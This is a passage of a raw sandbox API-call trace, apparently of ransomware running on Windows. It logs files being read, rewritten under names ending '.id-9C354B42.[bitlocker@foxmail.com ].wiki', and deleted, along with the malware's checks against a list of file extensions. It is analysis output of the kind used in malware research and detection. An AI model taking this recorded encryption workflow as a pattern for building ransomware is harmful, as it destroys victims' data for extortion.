halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0181.876] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.876] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.876] GetLastError () returned 0x0 [0181.876] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xc26, lpOverlapped=0x0) returned 1 [0181.878] WriteFile (in: hFile=0x160, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc30, lpOverlapped=0x0) returned 1 [0181.879] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0181.879] WriteFile (in: hFile=0x160, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0181.879] SetEndOfFile (hFile=0x160) returned 1 [0181.879] CloseHandle (hObject=0x160) returned 1 [0181.879] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.879] SetEndOfFile (hFile=0x19c) returned 1 [0181.880] CloseHandle (hObject=0x19c) returned 1 [0181.880] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.880] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css")) returned 1 [0181.880] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 147 [0181.880] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 147 [0181.881] lstrlenW (lpString=".doc") returned 4 [0181.881] lstrcmpiW (lpString1=".doc", lpString2=".css") returned 1 [0181.881] lstrlenW (lpString=".docx") returned 5 [0181.881] lstrcmpiW (lpString1=".docx", lpString2="k.css") returned -1 [0181.881] lstrlenW (lpString=".pdf") returned 4 [0181.881] lstrcmpiW (lpString1=".pdf", lpString2=".css") returned 1 [0181.881] lstrlenW (lpString=".xls") returned 4 [0181.881] lstrcmpiW (lpString1=".xls", lpString2=".css") returned 1 [0181.881] lstrlenW (lpString=".xlsx") returned 5 [0181.881] lstrcmpiW (lpString1=".xlsx", lpString2="k.css") returned -1 [0181.881] lstrlenW (lpString=".ppt") returned 4 [0181.881] lstrcmpiW (lpString1=".ppt", lpString2=".css") returned 1 [0181.881] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 147 [0181.881] lstrlenW (lpString=".zip") returned 4 [0181.881] lstrcmpiW (lpString1=".zip", lpString2=".css") returned 1 [0181.881] lstrlenW (lpString=".rar") returned 4 [0181.881] lstrcmpiW (lpString1=".rar", lpString2=".css") returned 1 [0181.881] lstrlenW (lpString=".bz2") returned 4 [0181.881] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0181.881] lstrlenW (lpString=".7z") returned 3 [0181.881] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0181.881] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 147 [0181.881] lstrlenW (lpString=".dbf") returned 4 [0181.881] lstrcmpiW (lpString1=".dbf", lpString2=".css") returned 1 [0181.881] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 147 [0181.881] lstrlenW (lpString=".1cd") returned 4 [0181.881] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0181.881] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 147 [0181.881] lstrlenW (lpString=".jpg") returned 4 [0181.881] lstrcmpiW (lpString1=".jpg", lpString2=".css") returned 1 [0181.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 147 [0181.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 147 [0181.882] lstrlenW (lpString=".doc") returned 4 [0181.882] lstrcmpiW (lpString1=".doc", lpString2=".css") returned 1 [0181.882] lstrlenW (lpString=".docx") returned 5 [0181.882] lstrcmpiW (lpString1=".docx", lpString2="k.css") returned -1 [0181.882] lstrlenW (lpString=".pdf") returned 4 [0181.882] lstrcmpiW (lpString1=".pdf", lpString2=".css") returned 1 [0181.882] lstrlenW (lpString=".xls") returned 4 [0181.882] lstrcmpiW (lpString1=".xls", lpString2=".css") returned 1 [0181.882] lstrlenW (lpString=".xlsx") returned 5 [0181.882] lstrcmpiW (lpString1=".xlsx", lpString2="k.css") returned -1 [0181.882] lstrlenW (lpString=".ppt") returned 4 [0181.882] lstrcmpiW (lpString1=".ppt", lpString2=".css") returned 1 [0181.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 147 [0181.882] lstrlenW (lpString=".zip") returned 4 [0181.882] lstrcmpiW (lpString1=".zip", lpString2=".css") returned 1 [0181.882] lstrlenW (lpString=".rar") returned 4 [0181.882] lstrcmpiW (lpString1=".rar", lpString2=".css") returned 1 [0181.882] lstrlenW (lpString=".bz2") returned 4 [0181.882] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0181.882] lstrlenW (lpString=".7z") returned 3 [0181.882] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0181.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 147 [0181.882] lstrlenW (lpString=".dbf") returned 4 [0181.882] lstrcmpiW (lpString1=".dbf", lpString2=".css") returned 1 [0181.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 147 [0181.882] lstrlenW (lpString=".1cd") returned 4 [0181.882] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0181.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 147 [0181.882] lstrlenW (lpString=".jpg") returned 4 [0181.882] lstrcmpiW (lpString1=".jpg", lpString2=".css") returned 1 [0181.883] lstrlenW (lpString=".id-") returned 4 [0181.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681648 | out: hHeap=0x630000) returned 1 [0181.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ae1c8 | out: hHeap=0x630000) returned 1 [0181.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3b10260 | out: hHeap=0x630000) returned 1 [0181.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3b20268 | out: hHeap=0x630000) returned 1 [0181.884] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3d10020 | out: hHeap=0x630000) returned 1 [0181.888] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681630 | out: hHeap=0x630000) returned 1 [0181.888] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681630 [0181.888] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681630, Size=0x20) returned 0x69e0d0 [0181.888] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681630 [0181.888] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681630, Size=0x20) returned 0x3bf62d8 [0181.888] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.987] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.993] Wow64DisableWow64FsRedirection (in: OldValue=0x315ff58 | out: OldValue=0x315ff58*=0x1) returned 1 [0181.993] lstrlenW (lpString="kernel32.dll") returned 12 [0181.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3bf62d8 | out: hHeap=0x630000) returned 1 [0181.993] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e0d0 | out: hHeap=0x630000) returned 1 Thread: id = 340 os_tid = 0x5a4 [0147.788] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3b30480 [0147.788] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3b40488 [0147.789] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681660 [0147.789] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6ae1d8 [0147.789] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681678 [0147.789] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x3e20020 [0147.789] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681690 [0147.789] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681690, Size=0x20) returned 0x69e6c0 [0147.789] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681690 [0147.789] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681690, Size=0x20) returned 0x69e670 [0147.789] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0147.789] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0147.789] Wow64DisableWow64FsRedirection (in: OldValue=0x329ff58 | out: OldValue=0x329ff58*=0x0) returned 1 [0147.789] lstrlenW (lpString="kernel32.dll") returned 12 [0147.789] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e6c0 | out: hHeap=0x630000) returned 1 [0147.789] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.789] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e670 | out: hHeap=0x630000) returned 1 [0147.790] Sleep (dwMilliseconds=0x64) [0147.970] lstrcmpiW (lpString1=".ttf", lpString2=".wiki") returned -1 [0147.970] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0147.970] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0148.181] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1984228) returned 1 [0148.181] CloseHandle (hObject=0x1a8) returned 1 [0148.181] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0148.181] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.181] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.181] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0148.181] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0148.181] lstrlenW (lpString=".doc") returned 4 [0148.181] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0148.181] lstrlenW (lpString=".docx") returned 5 [0148.181] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0148.181] lstrlenW (lpString=".pdf") returned 4 [0148.181] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0148.181] lstrlenW (lpString=".xls") returned 4 [0148.181] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0148.181] lstrlenW (lpString=".xlsx") returned 5 [0148.181] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0148.181] lstrlenW (lpString=".ppt") returned 4 [0148.181] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0148.181] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0148.181] lstrlenW (lpString=".zip") returned 4 [0148.181] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0148.181] lstrlenW (lpString=".rar") returned 4 [0148.181] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0148.181] lstrlenW (lpString=".bz2") returned 4 [0148.182] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0148.182] lstrlenW (lpString=".7z") returned 3 [0148.182] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0148.182] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0148.182] lstrlenW (lpString=".dbf") returned 4 [0148.182] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0148.182] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0148.182] lstrlenW (lpString=".1cd") returned 4 [0148.182] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0148.182] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0148.182] lstrlenW (lpString=".jpg") returned 4 [0148.182] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0148.182] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0148.182] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0148.182] lstrlenW (lpString=".doc") returned 4 [0148.182] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0148.182] lstrlenW (lpString=".docx") returned 5 [0148.182] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0148.182] lstrlenW (lpString=".pdf") returned 4 [0148.182] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0148.182] lstrlenW (lpString=".xls") returned 4 [0148.182] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0148.182] lstrlenW (lpString=".xlsx") returned 5 [0148.182] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0148.182] lstrlenW (lpString=".ppt") returned 4 [0148.182] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0148.182] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0148.182] lstrlenW (lpString=".zip") returned 4 [0148.182] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0148.182] lstrlenW (lpString=".rar") returned 4 [0148.184] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0148.184] lstrlenW (lpString=".bz2") returned 4 [0148.184] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0148.184] lstrlenW (lpString=".7z") returned 3 [0148.184] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0148.184] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0148.184] lstrlenW (lpString=".dbf") returned 4 [0148.184] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0148.184] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0148.184] lstrlenW (lpString=".1cd") returned 4 [0148.184] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0148.184] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0148.184] lstrlenW (lpString=".jpg") returned 4 [0148.184] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0148.185] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0148.185] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0148.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0148.828] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=8704) returned 1 [0148.828] CloseHandle (hObject=0x1d4) returned 1 [0148.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0148.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0148.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0148.829] lstrlenW (lpString=".doc") returned 4 [0148.829] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.829] lstrlenW (lpString=".docx") returned 5 [0148.829] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0148.829] lstrlenW (lpString=".pdf") returned 4 [0148.829] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.829] lstrlenW (lpString=".xls") returned 4 [0148.829] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.829] lstrlenW (lpString=".xlsx") returned 5 [0148.829] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0148.829] lstrlenW (lpString=".ppt") returned 4 [0148.829] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0148.829] lstrlenW (lpString=".zip") returned 4 [0148.829] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.829] lstrlenW (lpString=".rar") returned 4 [0148.829] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.829] lstrlenW (lpString=".bz2") returned 4 [0148.829] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.829] lstrlenW (lpString=".7z") returned 3 [0148.829] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0148.829] lstrlenW (lpString=".dbf") returned 4 [0148.829] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0148.829] lstrlenW (lpString=".1cd") returned 4 [0148.829] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0148.829] lstrlenW (lpString=".jpg") returned 4 [0148.830] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0148.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0148.830] lstrlenW (lpString=".doc") returned 4 [0148.830] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.830] lstrlenW (lpString=".docx") returned 5 [0148.830] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0148.830] lstrlenW (lpString=".pdf") returned 4 [0148.830] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.830] lstrlenW (lpString=".xls") returned 4 [0148.830] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.830] lstrlenW (lpString=".xlsx") returned 5 [0148.830] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0148.830] lstrlenW (lpString=".ppt") returned 4 [0148.830] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0148.830] lstrlenW (lpString=".zip") returned 4 [0148.830] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.830] lstrlenW (lpString=".rar") returned 4 [0148.830] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.830] lstrlenW (lpString=".bz2") returned 4 [0148.830] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.830] lstrlenW (lpString=".7z") returned 3 [0148.830] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0148.830] lstrlenW (lpString=".dbf") returned 4 [0148.830] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0148.830] lstrlenW (lpString=".1cd") returned 4 [0148.831] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0148.831] lstrlenW (lpString=".jpg") returned 4 [0148.831] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.831] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0148.831] lstrlenW (lpString="BLUEPRNT.ELM") returned 12 [0148.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0148.832] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=55942) returned 1 [0148.832] CloseHandle (hObject=0x1d4) returned 1 [0148.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm")) returned 0x20 [0148.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0148.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned 77 [0148.832] lstrlenW (lpString=".doc") returned 4 [0148.832] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0148.832] lstrlenW (lpString=".docx") returned 5 [0148.832] lstrcmpiW (lpString1=".docx", lpString2="T.ELM") returned -1 [0148.832] lstrlenW (lpString=".pdf") returned 4 